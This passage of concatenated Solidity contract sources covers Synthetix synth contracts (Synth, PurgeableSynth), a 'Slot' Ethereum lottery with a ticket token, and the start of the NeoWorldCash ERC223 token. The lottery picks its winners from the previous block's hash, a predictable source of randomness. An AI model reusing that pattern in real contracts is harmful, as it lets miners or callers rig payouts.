if (rewardEscrow != address(0)) {
balance = balance.add(rewardEscrow.balanceOf(account));
}
return balance;
}
/**
* @notice The number of SNX that are free to be transferred by an account.
* @dev When issuing, escrowed SNX are locked first, then non-escrowed
* SNX are locked last, but escrowed SNX are not transferable, so they are not included
* in this calculation.
*/
function transferableSynthetix(address account)
public
view
rateNotStale("SNX")
returns (uint)
{
// How many SNX do they have, excluding escrow?
// Note: We're excluding escrow here because we're interested in their transferable amount
// and escrowed SNX are not transferable.
uint balance = tokenState.balanceOf(account);
// How many of those will be locked by the amount they've issued?
// Assuming issuance ratio is 20%, then issuing 20 SNX of value would require
// 100 SNX to be locked in their wallet to maintain their collateralisation ratio
// The locked synthetix value can exceed their balance.
uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio());
// If we exceed the balance, no SNX are transferable, otherwise the difference is.
if (lockedSynthetixValue >= balance) {
return 0;
} else {
return balance.sub(lockedSynthetixValue);
}
}
function mint()
external
returns (bool)
{
require(rewardEscrow != address(0), "Reward Escrow destination missing");
uint supplyToMint = supplySchedule.mintableSupply();
require(supplyToMint > 0, "No supply is mintable");
supplySchedule.updateMintValues();
// Set minted SNX balance to RewardEscrow's balance
// Minus the minterReward and set balance of minter to add reward
uint minterReward = supplySchedule.minterReward();
tokenState.setBalanceOf(rewardEscrow, tokenState.balanceOf(rewardEscrow).add(supplyToMint.sub(minterReward)));
emitTransfer(this, rewardEscrow, supplyToMint.sub(minterReward));
// Tell the FeePool how much it has to distribute
feePool.rewardsMinted(supplyToMint.sub(minterReward));
// Assign the minters reward.
tokenState.setBalanceOf(msg.sender, tokenState.balanceOf(msg.sender).add(minterReward));
emitTransfer(this, msg.sender, minterReward);
totalSupply = totalSupply.add(supplyToMint);
}
// ========== MODIFIERS ==========
modifier rateNotStale(bytes4 currencyKey) {
require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Fee address not allowed");
_;
}
modifier onlySynth() {
bool isSynth = false;
// No need to repeatedly call this function either
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == msg.sender) {
isSynth = true;
break;
}
}
require(isSynth, "Only synth allowed");
_;
}
modifier nonZeroAmount(uint _amount) {
require(_amount > 0, "Amount needs to be larger than 0");
_;
}
modifier onlyOracle
{
require(msg.sender == exchangeRates.oracle(), "Only the oracle can perform this action");
_;
}
// ========== EVENTS ==========
/* solium-disable */
event SynthExchange(address indexed account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress);
bytes32 constant SYNTHEXCHANGE_SIG = keccak256("SynthExchange(address,bytes4,uint256,bytes4,uint256,address)");
function emitSynthExchange(address account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress) internal {
proxy._emit(abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress), 2, SYNTHEXCHANGE_SIG, bytes32(account), 0, 0);
}
/* solium-enable */
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: Synth.sol
version: 2.0
author: Kevin Brown
date: 2018-09-13
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
Synthetix-backed stablecoin contract.
This contract issues synths, which are tokens that mirror various
flavours of fiat currency.
Synths are issuable by Synthetix Network Token (SNX) holders who
have to lock up some value of their SNX to issue S * Cmax synths.
Where Cmax issome value less than 1.
A configurable fee is charged on synth transfers and deposited
into a common pot, which Synthetix holders may withdraw from once
per fee period.
-----------------------------------------------------------------
*/
contract Synth is ExternStateToken {
/* ========== STATE VARIABLES ========== */
IFeePool public feePool;
Synthetix public synthetix;
// Currency key which identifies this Synth to the Synthetix system
bytes4 public currencyKey;
uint8 constant DECIMALS = 18;
/* ========== CONSTRUCTOR ========== */
constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, IFeePool _feePool,
string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey
)
ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, 0, DECIMALS, _owner)
public
{
require(_proxy != 0, "_proxy cannot be 0");
require(address(_synthetix) != 0, "_synthetix cannot be 0");
require(address(_feePool) != 0, "_feePool cannot be 0");
require(_owner != 0, "_owner cannot be 0");
require(_synthetix.synths(_currencyKey) == Synth(0), "Currency key is already in use");
feePool = _feePool;
synthetix = _synthetix;
currencyKey = _currencyKey;
}
/* ========== SETTERS ========== */
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function setFeePool(IFeePool _feePool)
external
optionalProxy_onlyOwner
{
feePool = _feePool;
emitFeePoolUpdated(_feePool);
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice Override ERC20 transfer function in order to
* subtract the transaction fee and send it to the fee pool
* for SNX holders to claim. */
function transfer(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
// Send the fee off to the fee pool.
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
// And send their result off to the destination address
bytes memory empty;
return _internalTransfer(messageSender, to, amountReceived, empty);
}
/**
* @notice Override ERC223 transfer function in order to
* subtract the transaction fee and send it to the fee pool
* for SNX holders to claim. */
function transfer(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
// Send the fee off to the fee pool, which we don't want to charge an additional fee on
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
// And send their result off to the destination address
return _internalTransfer(messageSender, to, amountReceived, data);
}
/**
* @notice Override ERC20 transferFrom function in order to
* subtract the transaction fee and send it to the fee pool
* for SNX holders to claim. */
function transferFrom(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
// The fee is deducted from the amount sent.
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
// Reduce the allowance by the amount we're transferring.
// The safeSub call will handle an insufficient allowance.
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
// Send the fee off to the fee pool.
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, amountReceived, empty);
}
/**
* @notice Override ERC223 transferFrom function in order to
* subtract the transaction fee and send it to the fee pool
* for SNX holders to claim. */
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
// The fee is deducted from the amount sent.
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
// Reduce the allowance by the amount we're transferring.
// The safeSub call will handle an insufficient allowance.
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
// Send the fee off to the fee pool, which we don't want to charge an additional fee on
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, amountReceived, data);
}
/* Subtract the transfer fee from the senders account so the
* receiver gets the exact amount specified to send. */
function transferSenderPaysFee(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
// Send the fee off to the fee pool, which we don't want to charge an additional fee on
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
// And send their transfer amount off to the destination address
bytes memory empty;
return _internalTransfer(messageSender, to, value, empty);
}
/* Subtract the transfer fee from the senders account so the
* receiver gets the exact amount specified to send. */
function transferSenderPaysFee(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
// Send the fee off to the fee pool, which we don't want to charge an additional fee on
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
// And send their transfer amount off to the destination address
return _internalTransfer(messageSender, to, value, data);
}
/* Subtract the transfer fee from the senders account so the
* to address receives the exact amount specified to send. */
function transferFromSenderPaysFee(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
// Reduce the allowance by the amount we're transferring.
// The safeSub call will handle an insufficient allowance.
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
// Send the fee off to the fee pool, which we don't want to charge an additional fee on
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, value, empty);
}
/* Subtract the transfer fee from the senders account so the
* to address receives the exact amount specified to send. */
function transferFromSenderPaysFee(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
// Reduce the allowance by the amount we're transferring.
// The safeSub call will handle an insufficient allowance.
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
// Send the fee off to the fee pool, which we don't want to charge an additional fee on
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, value, data);
}
// Override our internal transfer to inject preferred currency support
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to);
// Do they have a preferred currency that's not us? If so we need to exchange
if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) {
return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to);
} else {
// Otherwise we just transfer
return super._internalTransfer(from, to, value, data);
}
}
// Allow synthetix to issue a certain number of synths from an account.
function issue(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount));
totalSupply = totalSupply.add(amount);
emitTransfer(address(0), account, amount);
emitIssued(account, amount);
}
// Allow synthetix or another synth contract to burn a certain number of synths from an account.
function burn(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount));
totalSupply = totalSupply.sub(amount);
emitTransfer(account, address(0), amount);
emitBurned(account, amount);
}
// Allow owner to set the total supply on import.
function setTotalSupply(uint amount)
external
optionalProxy_onlyOwner
{
totalSupply = amount;
}
// Allow synthetix to trigger a token fallback call from our synths so users get notified on
// exchange as well as transfer
function triggerTokenFallbackIfNeeded(address sender, address recipient, uint amount)
external
onlySynthetixOrFeePool
{
bytes memory empty;
callTokenFallbackIfNeeded(sender, recipient, amount, empty);
}
/* ========== MODIFIERS ========== */
modifier onlySynthetixOrFeePool() {
bool isSynthetix = msg.sender == address(synthetix);
bool isFeePool = msg.sender == address(feePool);
require(isSynthetix || isFeePool, "Only the Synthetix or FeePool contracts can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Cannot perform this action with the fee address");
_;
}
/* ========== EVENTS ========== */
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
event FeePoolUpdated(address newFeePool);
bytes32 constant FEEPOOLUPDATED_SIG = keccak256("FeePoolUpdated(address)");
function emitFeePoolUpdated(address newFeePool) internal {
proxy._emit(abi.encode(newFeePool), 1, FEEPOOLUPDATED_SIG, 0, 0, 0);
}
event Issued(address indexed account, uint value);
bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)");
function emitIssued(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, ISSUED_SIG, bytes32(account), 0, 0);
}
event Burned(address indexed account, uint value);
bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)");
function emitBurned(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, BURNED_SIG, bytes32(account), 0, 0);
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: PurgeableSynth.sol
version: 1.0
author: Justin J. Moses
date: 2019-05-22
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
Purgeable synths are a subclass of Synth that allows the owner
to exchange all holders of the Synth back into sUSD.
In order to reduce gas load on the system, and to repurpose older synths
no longer used, purge allows the owner to
These are used only for frozen or deprecated synths, and the total supply is
hard-coded to
-----------------------------------------------------------------
*/
contract PurgeableSynth is Synth {
using SafeDecimalMath for uint;
// The maximum allowed amount of tokenSupply in equivalent sUSD value for this synth to permit purging
uint public maxSupplyToPurgeInUSD = 10000 * SafeDecimalMath.unit(); // 10,000
// Track exchange rates so we can determine if supply in USD is below threshpld at purge time
ExchangeRates public exchangeRates;
/* ========== CONSTRUCTOR ========== */
constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, IFeePool _feePool,
string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey, ExchangeRates _exchangeRates
)
Synth(_proxy, _tokenState, _synthetix, _feePool, _tokenName, _tokenSymbol, _owner, _currencyKey)
public
{
exchangeRates = _exchangeRates;
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice Function that allows owner to exchange any number of holders back to sUSD (for frozen or deprecated synths)
* @param addresses The list of holders to purge
*/
function purge(address[] addresses)
external
optionalProxy_onlyOwner
{
uint maxSupplyToPurge = exchangeRates.effectiveValue("sUSD", maxSupplyToPurgeInUSD, currencyKey);
// Only allow purge when total supply is lte the max or the rate is frozen in ExchangeRates
require(
totalSupply <= maxSupplyToPurge || exchangeRates.rateIsFrozen(currencyKey),
"Cannot purge as total supply is above threshold and rate is not frozen."
);
for (uint8 i = 0; i < addresses.length; i++) {
address holder = addresses[i];
uint amountHeld = balanceOf(holder);
if (amountHeld > 0) {
synthetix.synthInitiatedExchange(holder, currencyKey, amountHeld, "sUSD", holder);
emitPurged(holder, amountHeld);
}
}
}
/* ========== SETTERS ========== */
function setExchangeRates(ExchangeRates _exchangeRates)
external
optionalProxy_onlyOwner
{
exchangeRates = _exchangeRates;
}
/* ========== EVENTS ========== */
event Purged(address indexed account, uint value);
bytes32 constant PURGED_SIG = keccak256("Purged(address,uint256)");
function emitPurged(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, PURGED_SIG, bytes32(account), 0, 0);
}
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pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardMintableToken is ERC20, BasicToken, Ownable {
mapping (address => mapping (address => uint256)) allowed;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount); // so it is displayed properly on EtherScan
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Slot Ticket
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract SlotTicket is StandardMintableToken {
string public name = "Slot Ticket";
uint8 public decimals = 0;
string public symbol = "TICKET";
string public version = "0.6";
function destroy() onlyOwner {
// Transfer Eth to owner and terminate contract
selfdestruct(owner);
}
}
/**
* @title Slot
* @dev every participant has an account index, the winners are picked from here
* all winners are picked in order from the single random int
* needs to be cleared after every game
*/
contract Slot is Ownable {
using SafeMath for uint256;
uint8 constant public SIZE = 100; // size of the lottery
uint32 constant public JACKPOT_CHANCE = 1000000; // one in a million
uint32 constant public INACTIVITY = 160000; // blocks after which refunds can be claimed
uint256 constant public PRICE = 100 finney;
uint256 constant public JACK_DIST = 249 finney;
uint256 constant public DIV_DIST = 249 finney;
uint256 constant public GAS_REFUND = 2 finney;
/*
* every participant has an account index, the winners are picked from here
* all winners are picked in order from the single random int
* needs to be cleared after every game
*/
mapping (uint => mapping (uint => address)) public participants; // game number => counter => address
SlotTicket public ticket; // this is a receipt for the ticket, it wont affect the prize distribution
uint256 public jackpotAmount;
uint256 public gameNumber;
uint256 public gameStartedAt;
address public fund; // address to send dividends
uint256[8] public prizes = [4 ether,
2 ether,
1 ether,
500 finney,
500 finney,
500 finney,
500 finney,
500 finney];
uint256 counter;
event ParticipantAdded(address indexed _participant, uint256 indexed _game, uint256 indexed _number);
event PrizeAwarded(uint256 indexed _game , address indexed _winner, uint256 indexed _amount);
event JackpotAwarded(uint256 indexed _game, address indexed _winner, uint256 indexed _amount);
event GameRefunded(uint256 _game);
function Slot(address _fundAddress) payable { // address _ticketAddress
// ticket = SlotTicket(_ticketAddress); // still need to change owner
ticket = new SlotTicket();
fund = _fundAddress;
jackpotAmount = msg.value;
gameNumber = 0;
counter = 0;
gameStartedAt = block.number;
}
function() payable {
// fallback function to buy tickets
buyTicketsFor(msg.sender);
}
function buyTicketsFor(address _beneficiary) public payable {
require(_beneficiary != 0x0);
require(msg.value >= PRICE);
// calculate number of tickets, issue tokens and add participant
// every (PRICE) buys a ticket, the rest is returned
uint256 change = msg.value%PRICE;
uint256 numberOfTickets = msg.value.sub(change).div(PRICE);
ticket.mint(_beneficiary, numberOfTickets);
addParticipant(_beneficiary, numberOfTickets);
// Return change to msg.sender
msg.sender.transfer(change);
}
/* private functions */
function addParticipant(address _participant, uint256 _numberOfTickets) private {
// if number of tickets exceeds the size of the game, tickets are added to next game
for (uint256 i = 0; i < _numberOfTickets; i++) {
// using gameNumber instead of counter/SIZE since games can be cancelled
participants[gameNumber][counter%SIZE] = _participant;
ParticipantAdded(_participant, gameNumber, counter%SIZE);
// msg.sender triggers the drawing of lots
if (++counter%SIZE == 0) {
awardPrizes();
// Split the rest, increase game number
distributeRemaining();
increaseGame();
}
// loop continues if there are more tickets
}
}
function awardPrizes() private {
// get the winning number, no need to hash, since it is a deterministical function anyway
uint256 winnerIndex = uint256(block.blockhash(block.number-1))%SIZE;
// get jackpot winner, hash result of last two digit number (index) with 4 preceding zeroes will win
uint256 jackpotNumber = uint256(block.blockhash(block.number-1))%JACKPOT_CHANCE;
if (winnerIndex == jackpotNumber) {
distributeJackpot(winnerIndex);
}
// loop throught the prizes
for (uint8 i = 0; i < prizes.length; i++) {
// GAS: 21000 Paid for every transaction. (prizes.length)
participants[gameNumber][winnerIndex%SIZE].transfer(prizes[i]); // msg.sender pays the gas, he's refunded later, % to wrap around
PrizeAwarded(gameNumber, participants[gameNumber][winnerIndex%SIZE], prizes[i]);
// increment index to the next winner to receive the next prize
winnerIndex++;
}
}
function distributeJackpot(uint256 _winnerIndex) private {
uint256 amount = jackpotAmount;
jackpotAmount = 0; // later on in the code sequence funds will be added
participants[gameNumber][_winnerIndex].transfer(amount);
JackpotAwarded(gameNumber, participants[gameNumber][_winnerIndex], amount);
}
function distributeRemaining() private {
// GAS: 21000 Paid for every transaction. (3)
jackpotAmount = jackpotAmount.add(JACK_DIST); // add to jackpot
fund.transfer(DIV_DIST); // *cash register sound* dividends are paid to SLOT token owners
msg.sender.transfer(GAS_REFUND); // repay gas to msg.sender
}
function increaseGame() private {
gameNumber++;
gameStartedAt = block.number;
}
// public functions
function spotsLeft() public constant returns (uint8 spots) {
return SIZE - uint8(counter%SIZE);
}
function refundGameAfterLongInactivity() public {
require(block.number.sub(gameStartedAt) >= INACTIVITY);
require(counter%SIZE != 0); // nothing to refund
// refunds for everybody can be requested after the game has gone (INACTIVITY) blocks without a conclusion
// Checks-Effects-Interactions pattern to avoid re-entrancy
uint256 _size = counter%SIZE; // not counter.size, but modulus of SIZE
counter -= _size;
for (uint8 i = 0; i < _size; i++) {
// GAS: default 21000 paid for every transaction.
participants[gameNumber][i].transfer(PRICE);
}
GameRefunded(gameNumber);
increaseGame();
}
function destroy() public onlyOwner {
require(jackpotAmount < 25 ether);
// Transfer Ether funds to owner and terminate contract
// It would be unfair to allow ourselves to destroy a contract with more than 25 ether and claim the jackpot,
// lower than that we would consider it still a beta (any Ether would be transfered to the newer contract)
ticket.destroy();
selfdestruct(owner);
}
function changeTicketOwner(address _newOwner) public onlyOwner {
// in case of new contract, old token can still be used
// the token contract owner is the slot contract itself
ticket.transferOwnership(_newOwner);
}
function changeFund(address _newFund) public onlyOwner {
fund = _newFund;
}
function changeTicket(address _newTicket) public onlyOwner {
ticket = SlotTicket(_newTicket); // still need to change owner to work
}
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pragma solidity ^0.4.21;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/*
* Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes _data) public pure {
}
function doTransfer(address _to, uint256 _index) public returns (uint256 price, address owner);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
emit Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint);
function allowance(address tokenOwner, address spender) public constant returns (uint);
function transfer(address to, uint tokens) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
function transferFrom(address from, address to, uint tokens) public returns (bool);
function name() public constant returns (string);
function symbol() public constant returns (string);
function decimals() public constant returns (uint8);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
* ERC223 token by Dexaran
*
* https://github.com/Dexaran/ERC223-token-standard
*/
/* New ERC223 contract interface */
contract ERC223 is ERC20Interface {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint tokens);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract NeoWorldCash is ERC223, Pausable {
using SafeMath for uint256;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
event Burn(address indexed from, uint256 value);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function NeoWorldCash() public {
symbol = "NASH";
name = "NEOWORLD CASH";
decimals = 18;
totalSupply = 100000000000 * 10**uint(decimals);
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
// Function to access name of token .
function name() public constant returns (string) {
return name;
}
// Function to access symbol of token .
function symbol() public constant returns (string) {
return symbol;
}
// Function to access decimals of token .
function decimals() public constant returns (uint8) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() public constant returns (uint256) {
return totalSupply;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public whenNotPaused returns (bool) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public whenNotPaused returns (bool) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool) {
